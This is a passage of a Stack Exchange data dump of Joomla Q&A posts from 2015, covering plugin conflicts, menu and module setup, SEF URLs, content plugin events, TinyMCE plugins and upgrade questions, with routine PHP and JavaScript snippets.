  <row Id="10723" PostTypeId="2" ParentId="10721" CreationDate="2015-07-06T14:02:45.760" Score="1" Body="&lt;p&gt;Solved: After many hours of several tries, I found out that FLEXIcontent plugin was causing conflicts with K2, so I had to uninstall it. Works fine after uninstall.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2015-07-06T14:02:45.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10726" PostTypeId="1" AcceptedAnswerId="10727" CreationDate="2015-07-06T19:46:30.590" Score="1" ViewCount="4085" Body="&lt;p&gt;When creating a new &lt;em&gt;menu item type&lt;/em&gt; that is &lt;strong&gt;&quot;Article » List All Categories&quot;&lt;/strong&gt; – how can I display all of the actual articles for each sub-category?  As of right now, each sub-category being listed has a badge icon displaying a number to represent how many articles are within it's sub-category but I would like all of the actual articles for each sub-category to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note I have tried accomplishing this by using the &lt;em&gt;Menu Manager&lt;/em&gt; to set the &lt;em&gt;Blog Layout » Include Subcategories&lt;/em&gt; to &lt;strong&gt;ALL&lt;/strong&gt; but that still is not working.&lt;/p&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2016-01-10T05:20:32.610" Title="How To List All Articles for Menu » Articles » List All Categories type" Tags="|articles|menu-item|menu|layout|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10727" PostTypeId="2" ParentId="10726" CreationDate="2015-07-06T21:37:38.213" Score="1" Body="&lt;p&gt;Figured it out, instead of using the &lt;em&gt;List All Categories&lt;/em&gt; just choose a single article and then create a new module for that page to display all of your Category/Sub-Category articles. Here's how to do it... &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Extensions » Module Manager&lt;/em&gt; and Create a new &lt;em&gt;&quot;Articles Category&quot;&lt;/em&gt; module, leave the mode set to &quot;Normal&quot;and specify the module position where you want this content to appear on your page.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;em&gt;&quot;Menu Assignment&quot;&lt;/em&gt; tab to specify which page(s) you want to display this categories list on. &lt;/li&gt;&#xA;&lt;li&gt;Next click the &lt;em&gt;&quot;Filtering Options&quot;&lt;/em&gt; tab change the &lt;em&gt;&quot;Category Filtering Type&quot;&lt;/em&gt; to &lt;em&gt;&quot;Inclusive&quot;&lt;/em&gt; and select the categories you want to appear. You can also include any child categories. &lt;/li&gt;&#xA;&lt;li&gt;Finally if you want to manipulate the category/article ordering you can click on the &lt;em&gt;&quot;Ordering Options&quot;&lt;/em&gt; tabs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2015-07-06T21:37:38.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10728" PostTypeId="1" CreationDate="2015-07-07T05:40:32.903" Score="2" ViewCount="657" Body="&lt;p&gt;How can I change the url scheme appearing for Search Component in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a search is done url goes like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomlaproject/component/search/?searchword=destination&amp;amp;searchphrase=all&amp;amp;Itemid=219&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to change the url like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomlaproject/search/?searchword=destination&amp;amp;searchphrase=all&amp;amp;Itemid=219&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i change this?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastEditorUserId="126" LastEditDate="2016-01-21T22:27:48.733" LastActivityDate="2016-01-21T22:27:48.733" Title="How to change url scheme of Search component?" Tags="|joomla-3.x|url|jroute|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostTypeId="2" ParentId="10728" CreationDate="2015-07-07T05:56:33.100" Score="2" Body="&lt;p&gt;&lt;strong&gt;Try this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto joomla administrator -&gt; System -&gt; Global configuration -&gt; Here you can enable the sef url and check your url.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-07-07T05:56:33.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10730" PostTypeId="2" ParentId="10728" CreationDate="2015-07-07T06:06:57.697" Score="1" Body="&lt;p&gt;Solved the problem by creating a hidden menu for Search component. Here is the link which i followed&#xA;    &lt;a href=&quot;https://docs.joomla.org/Search_Engine_Friendly_URLs&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Search_Engine_Friendly_URLs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2015-07-07T06:06:57.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10731" PostTypeId="1" AcceptedAnswerId="11085" CreationDate="2015-07-07T06:49:04.337" Score="1" ViewCount="879" Body="&lt;p&gt;I want use onContentAfterSave in Joomla backend but it's not working.&lt;br&gt;&#xA;My code this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentTest extends JPlugin&#xA;{&#xA;&#xA;public function onContentAfterSave($context, &amp;amp;$article, $isNew)&#xA;{&#xA;    $option = JRequest::getVar('option');&#xA;&#xA;    if($option=='com_content'){&#xA;&#xA;        echo 'Test';&#xA;&#xA;     }&#xA;&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;onContentAfterSave isn't working on backend?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="126" LastEditDate="2015-12-04T19:33:19.663" LastActivityDate="2015-12-04T19:33:19.663" Title="Joomla 3 onContentAfterSave not work backend" Tags="|development|plugin|joomla-3.3.x|plugin-events|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostTypeId="1" CreationDate="2015-07-07T07:08:48.623" Score="1" ViewCount="420" Body="&lt;p&gt;While trying to open any plugin from Joomla administration, a blank page with this error message displays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function getTable() on a non-object in .../libraries/legacy/controller/form.php on line 366&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone helps me to fix this please?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes, update J from 2.5.28 to 3.4 and then just installed and customized helix template.&lt;/p&gt;&#xA;" OwnerUserId="5527" LastEditorUserId="5638" LastEditDate="2017-01-21T15:58:59.163" LastActivityDate="2017-01-21T16:13:24.607" Title="Joomla 3.4.3 get fatal error while opening plugins" Tags="|joomla-3.x|plugin|administrator|controller|fatal-error|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostTypeId="1" AcceptedAnswerId="10736" CreationDate="2015-07-07T10:13:29.653" Score="1" ViewCount="180" Body="&lt;p&gt;I want to bundle my template with a plugin, and I want the plugin is automatically published after template installation. I know this is possible with component or plugin installation, but is it possible to do that with template installation? How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2018-04-11T11:21:11.557" Title="Automatically publish plugin after template installation" Tags="|plugin|templates|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostTypeId="1" CreationDate="2015-07-07T10:29:16.400" Score="0" ViewCount="144" Body="&lt;p&gt;I want to create a Joomla menu-item that changes its name after it has been clicked on and I want to be abled to insert code (in  php??) in a if then else style (if name = oldname then  elseif name = newname then).&lt;/p&gt;&#xA;" OwnerUserId="5530" LastEditorUserId="22" LastEditDate="2015-07-07T19:24:12.870" LastActivityDate="2015-07-08T16:33:21.830" Title="Joomla-3 Change menu-item after clicking" Tags="|menu-item|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostTypeId="1" CreationDate="2015-07-07T10:33:48.853" Score="1" ViewCount="208" Body="&lt;p&gt;when I enter in frontend as super-user appear a button to create new articles, but this button open the Joomla predeterminate editor and I want that open the seblod from that I designed to create articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How redirect the button new of frontend to open a seblod form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thaks ;)&lt;/p&gt;&#xA;" OwnerUserId="5516" LastEditorUserId="5516" LastEditDate="2015-07-07T11:48:31.520" LastActivityDate="2024-03-25T11:03:15.397" Title="How redirect the button new of frontend to open a seblod form in Joomla 3?" Tags="|articles|front-end|seblod|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostTypeId="2" ParentId="10733" CreationDate="2015-07-07T11:17:52.223" Score="4" Body="&lt;p&gt;You need to create a package installer. A package can bundle template, modules, plugins, etc. in the same installable file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the Joomla docs for &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;details of creating packages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there is no native method for automatically enabling a plugin on installation, but you can do so with an additional script. Details of the scripted approach and a lengthy discussion of the pros and cons of adding a feature to auto-enable plugins can be found in this &lt;a href=&quot;https://groups.google.com/forum/#!msg/joomla-dev-cms/RAG2E-_dxHY/dW-bX2D19OgJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Developers thread on G+&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scripted approach requires you to link to an additional script in your package manifest and then using that to enable your plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a &lt;em&gt;scriptfile&lt;/em&gt; to the manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do this in your script.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemPluginnameInstallerScript&#xA;{&#xA; public function install($parent)&#xA; {&#xA;  // Enable plugin&#xA;  $db  = JFactory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query-&amp;gt;update('#__extensions');&#xA;  $query-&amp;gt;set($db-&amp;gt;quoteName('enabled') . ' = 1');&#xA;  $query-&amp;gt;where($db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('pluginname'));&#xA;  $query-&amp;gt;where($db-&amp;gt;quoteName('type') . ' = ' . $db-&amp;gt;quote('plugin'));&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $db-&amp;gt;execute();&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12352" LastEditDate="2018-04-11T11:21:11.557" LastActivityDate="2018-04-11T11:21:11.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10737" PostTypeId="2" ParentId="10731" CreationDate="2015-07-07T11:44:55.187" Score="1" Body="&lt;p&gt;Most problems with Content plugins are caused by the plugin name. If it is not correctly named and installed, Joomla cannot find it and call &lt;em&gt;onContentAfterSave&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking &lt;strong&gt;finder&lt;/strong&gt; plugin as example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is installed in plugins/content/finder folder.&lt;/li&gt;&#xA;&lt;li&gt;Plugin is named finder.php&lt;/li&gt;&#xA;&lt;li&gt;The class is PlgContentFinder (extends JPlugin)&lt;/li&gt;&#xA;&lt;li&gt;It has onContentAfterSave function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-07T11:44:55.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostTypeId="2" ParentId="10731" CreationDate="2015-07-07T13:03:23.793" Score="2" Body="&lt;h3&gt;Check following things:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plugin class name should be: &lt;code&gt;plgContentTest&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin class should extend &lt;code&gt;JPlugin&lt;/code&gt; class&lt;/li&gt;&#xA;&lt;li&gt;Plugin filename should be: &lt;code&gt;test.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin file should be in: &lt;code&gt;/plugins/content/test&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin xml definition filename should be: &lt;code&gt;test.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin xml definition file should be in: &lt;code&gt;/plugins/content/test&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Plugin should be installed and enabled&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Few other tips:&lt;/h3&gt;&#xA;&lt;p&gt;You should check context, not a direct request:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($context != 'com_content.form') {&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can find sample content plugin here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/plugins/content/joomla/joomla.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;/plugins/content/joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should define article variable like this &lt;code&gt;$article&lt;/code&gt; not this &lt;code&gt;&amp;amp;$article&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also it would be nice for you to provide directory structure of your plugin.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-07T13:03:23.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostTypeId="2" ParentId="10734" CreationDate="2015-07-07T13:20:34.110" Score="1" Body="&lt;p&gt;There is no way for inserting php code after jQuery/Javascript event. If you want to change menu item name after click you should work on this file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/modules/mod_menu/tmpl/default_component.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should use &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Override&lt;/a&gt; to create alternative layout for &lt;code&gt;mod_menu&lt;/code&gt;. Then in &lt;code&gt;default_component.php&lt;/code&gt; (or your new layout) add code working as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If current menu item is item you want modify add a marker in JSession&lt;/li&gt;&#xA;&lt;li&gt;Check if current item that mod_menu will display in default_component.php is item you want to modify&lt;/li&gt;&#xA;&lt;li&gt;If this is the item and there is a marker in JSession (if the item was clicked) change its name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Alternative way is to use Cookie as a marker and add/create it when Java Script Click event is triggered on menu item you want to modify (so basically you omit first step and change last one)&lt;/p&gt;&#xA;&lt;h2&gt;Few useful functions:&lt;/h2&gt;&#xA;&lt;p&gt;Get current menu item (menu item for current page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Get current menu item ID:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('Itemid')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-08T16:33:21.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10740" PostTypeId="1" AcceptedAnswerId="10746" CreationDate="2015-07-07T13:55:35.433" Score="2" ViewCount="1717" Body="&lt;p&gt;I'm trying to create my own character counter plugin for the tinymce editor in Joomla 3, which would look exactly like the wordcount plugin. I already have the javascript code for the plugin, and this file is saved in its own folder in &quot;/media/editors/tinymce/plugins/nameofplugin/&quot;. Following &lt;a href=&quot;http://www.tinymce.com/wiki.php/Tutorials:Creating_a_plugin&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial I should add it to the tinymce.init as a plugin option inside the &quot;/media/editors/tinymce/tinymce.min.js&quot; but I don't find the tinymce.init field in there. &#xA;Also I doubt if I should create a  for the Character count label, but I don't know how to modify the article html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastActivityDate="2015-07-08T10:22:27.247" Title="Creating custom plugin for tinymce" Tags="|joomla-3.x|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10741" PostTypeId="1" CreationDate="2015-07-07T22:09:27.317" Score="1" ViewCount="1845" Body="&lt;p&gt;How to add an onClick event on Joomla bootstrap tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlBootstrap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JHtmlBootstrap.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'monday'));&#xA;echo JHtml::_('bootstrap.addTab', 'myTab', 'monday',  JText::_('MONDAY', true));&#xA;// all html code&#xA;echo JHtml::_('bootstrap.endTab');&#xA;echo JHtml::_('bootstrap.endTabSet');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#monday').click(function(e) {&#xA;    alert('hello');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="1520" LastEditDate="2018-08-07T22:02:14.727" LastActivityDate="2023-12-10T14:00:50.147" Title="Add click event on bootstrap tab?" Tags="|joomla-3.3.x|javascript|jquery|bootstrap|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="10743" PostTypeId="1" AcceptedAnswerId="10744" CreationDate="2015-07-08T07:20:17.113" Score="2" ViewCount="66" Body="&lt;p&gt;I am using foreign key mapping in my component. Now, i want to add an error message 'Cannot delete item' whenever user tries to delete the parent item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like we see in the category manager 'Delete not allowed for category Foreign Category.1 item is assigned to this category.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help,&#xA;Ruchika&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2015-07-08T08:55:33.650" Title="Show message Cannot Delete item : foreign key" Tags="|component|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10744" PostTypeId="2" ParentId="10743" CreationDate="2015-07-08T08:55:33.650" Score="2" Body="&lt;p&gt;You should implement the similar check as done for categories in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/content/joomla/joomla.php&quot; rel=&quot;nofollow&quot;&gt;CMS content plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;...&#xA;...&#xA;&#xA;// See if this category has any content items&#xA;$table = '#__table_name';&#xA;$count = $this-&amp;gt;countItemsInCategory($table, $data-&amp;gt;get('id'));&#xA;&#xA;// Show error if items are found in the category&#xA;if ($count &amp;gt; 0)&#xA;{&#xA;    $msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data-&amp;gt;get('title')) .&#xA;        JText::plural('COM_CATEGORIES_N_ITEMS_ASSIGNED', $count);&#xA;&#xA;    $app-&amp;gt;enqueueMessage($msg, 'warning');&#xA;&#xA;    $result = false;&#xA;}&#xA;&#xA;...&#xA;...&#xA;...&#xA;&#xA;/**&#xA; * Get count of items in a category&#xA; *&#xA; * @param   string   $table  The table name of component table (column is catid)&#xA; * @param   integer  $catId  The id of the category to check&#xA; *&#xA; * @return  integer  Count of items found&#xA; *&#xA; * @since   1.0&#xA; */&#xA;private function countItemsInCategory($table, $catId)&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Count the items in this category&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('COUNT(id)')&#xA;        -&amp;gt;from($table)&#xA;        -&amp;gt;where('catid = ' . (int) $catId);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    return (int) $db-&amp;gt;loadResult();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-07-08T08:55:33.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostTypeId="2" ParentId="10740" CreationDate="2015-07-08T10:22:27.247" Score="1" Body="&lt;p&gt;Though I am not TinyMCE expert, looking into the unminified version of &lt;code&gt;tinymce.min.js&lt;/code&gt; I would say all plugins are loaded automatically (with themes and languages) if they follow the convention of storing them under &lt;code&gt;plugins&lt;/code&gt; directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/plugins/{plugin_name}/plugin.min.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the piece of code I think is responsible for loading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function t() {&#xA;    var e = m.ScriptLoader;&#xA;    if (r.language &amp;amp;&amp;amp; &quot;en&quot; != r.language &amp;amp;&amp;amp; !r.language_url &amp;amp;&amp;amp; (r.language_url = n.editorManager.baseURL + &quot;/langs/&quot; + r.language + &quot;.js&quot;), r.language_url &amp;amp;&amp;amp; e.add(r.language_url), r.theme &amp;amp;&amp;amp; &quot;function&quot; != typeof r.theme &amp;amp;&amp;amp; &quot;-&quot; != r.theme.charAt(0) &amp;amp;&amp;amp; !S.urls[r.theme]) {&#xA;        var t = r.theme_url;&#xA;        t = t ? n.documentBaseURI.toAbsolute(t) : &quot;themes/&quot; + r.theme + &quot;/theme&quot; + o + &quot;.js&quot;, S.load(r.theme, t)&#xA;    }&#xA;    w.isArray(r.plugins) &amp;amp;&amp;amp; (r.plugins = r.plugins.join(&quot; &quot;)), A(r.external_plugins, function(e, t) {&#xA;        T.load(t, e), r.plugins += &quot; &quot; + t&#xA;    }), A(r.plugins.split(/[ ,]/), function(e) {&#xA;        if (e = L(e), e &amp;amp;&amp;amp; !T.urls[e])&#xA;            if (&quot;-&quot; == e.charAt(0)) {&#xA;                e = e.substr(1, e.length);&#xA;                var t = T.dependencies(e);&#xA;                A(t, function(e) {&#xA;                    var t = {&#xA;                        prefix: &quot;plugins/&quot;,&#xA;                        resource: e,&#xA;                        suffix: &quot;/plugin&quot; + o + &quot;.js&quot;&#xA;                    };&#xA;                    e = T.createUrl(t, e), T.load(e.resource, e)&#xA;                })&#xA;            } else T.load(e, {&#xA;                prefix: &quot;plugins/&quot;,&#xA;                resource: e,&#xA;                suffix: &quot;/plugin&quot; + o + &quot;.js&quot;&#xA;            })&#xA;    }), e.loadQueue(function() {&#xA;        n.removed || n.init()&#xA;    })&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-07-08T10:22:27.247" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="10748" PostTypeId="1" AcceptedAnswerId="10749" CreationDate="2015-07-08T13:13:19.107" Score="1" ViewCount="278" Body="&lt;p&gt;I have one clear question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will updating from Joomla 3.4 to any future versions &lt;strong&gt;including 3.4.x to 3.5.x &lt;em&gt;(((to 4.x.y and ANY future versions)))&lt;/em&gt;&lt;/strong&gt; have ONE-CLICK UPGRADES?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or 3.x.y to 4.x.y will still have hard instructions like &lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow&quot;&gt;updating from 2.5 to 3&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="5542" LastActivityDate="2015-07-08T15:19:24.133" Title="From Joomla 3 (or 3.4) will there be a one-click update?" Tags="|update|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10749" PostTypeId="2" ParentId="10748" CreationDate="2015-07-08T15:13:14.643" Score="2" Body="&lt;p&gt;Joomla &lt;em&gt;as I understand&lt;/em&gt; are no longer doing the normal process like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2.5 (Long Term)&lt;/li&gt;&#xA;&lt;li&gt;3.0 (Short Term)&lt;/li&gt;&#xA;&lt;li&gt;3.5 (Long Term)&lt;/li&gt;&#xA;&lt;li&gt;4.0 (Short Term)&lt;/li&gt;&#xA;&lt;li&gt;4.5 (Long Term)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead they will me using the &lt;a href=&quot;http://semver.org/&quot; rel=&quot;nofollow&quot;&gt;Semantic Versioning&lt;/a&gt; process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot; rel=&quot;nofollow&quot;&gt;Joomla Roadmap&lt;/a&gt; shows you the upcoming versions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from now on, it will be as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Major updates (e.g 4.0)&lt;/strong&gt; - Big API changes. A migration process will be required.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Minor updates (e.g 3.5, 3.6)&lt;/strong&gt; - 1 click update&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Patch updates (e.g 3.5.1, 3.5.2)&lt;/strong&gt; - 1 click update&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So basically every Joomla 3.x version will be a 1-click update, however, I would still suggest looking through the changelog provided for each minor release, just to be on the safe side.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-08T15:19:24.133" LastActivityDate="2015-07-08T15:19:24.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10750" PostTypeId="1" CreationDate="2015-07-08T15:14:06.587" Score="0" ViewCount="149" Body="&lt;p&gt;I restore the latest Joomla using Akeeba in the root directory. The resulting home page has no CSS formatting, and any links clicked will result in wrong url. When I create a testing subdirectory and restore using Akeeba again, the homepage is working as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is the routing config file that cause the problem. For example, the website that I have problem with is &lt;a href=&quot;http://classwebhost.com&quot; rel=&quot;nofollow&quot;&gt;http://classwebhost.com&lt;/a&gt;. If I click on any link, I get an error 404. When I check the URL, what I saw is &lt;strong&gt;classwebhost.com/classwebhost.com/classwebhost.com/the-link-url&lt;/strong&gt;. It seems that the root domain is repeated three times. But when I rename the php.ini file, the same problem exists. An identical Akeeba backup was restored to &lt;a href=&quot;http://classwebhost.com/testing/&quot; rel=&quot;nofollow&quot;&gt;http://classwebhost.com/testing/&lt;/a&gt; and everything works as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to change the php.ini name, but it doesn't work. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution:&#xA;I downgrade the PHP version from 5.6 to 5.4 and it works. WHMCS works with PHP 5.4 as of now.&lt;/p&gt;&#xA;" OwnerUserId="5543" LastEditorUserId="5543" LastEditDate="2015-07-10T03:00:56.677" LastActivityDate="2015-07-10T03:00:56.677" Title="CSS not working in root installation after Akeeba Restore" Tags="|akeebabackup|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10751" PostTypeId="1" CreationDate="2015-07-08T16:03:04.513" Score="0" ViewCount="129" Body="&lt;p&gt;On my homepage, I have a zentools module that creates a grid of images. Right now, the images link to the articles they are from, but I would prefer that they link to another page on the site. There doesn't seem to be an option to change the link within the actual module interface, so is there a way to do so by modifying some code, perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access'); &#xA;&#xA;$last = &quot;&quot;;&#xA;&#xA;$class = ' zt-'.$options-&amp;gt;theme;&#xA;&#xA;if($options-&amp;gt;margin) {&#xA;&#xA;    $class .= ' zt-no-margin';&#xA;}&#xA;&#xA;&#xA;// Count number of items in layout&#xA;&#xA;$count = count((array)$layout);&#xA;&#xA;&#xA;// Load Matchheights&#xA;&#xA;$match_height = &quot;&quot;;&#xA;&#xA;if($options-&amp;gt;matchheight) { &#xA;&#xA;    $doc-&amp;gt;addScript($media_path .'js/jquery.matchHeight-min.js');&#xA;    $match_height = 'data-match-height=&quot;zt-match-height&quot;';&#xA;}&#xA;&#xA; ?&amp;gt;&#xA;&#xA; &amp;lt;div id=&quot;zentools-&amp;lt;?php echo $module-&amp;gt;id;?&amp;gt;&quot; 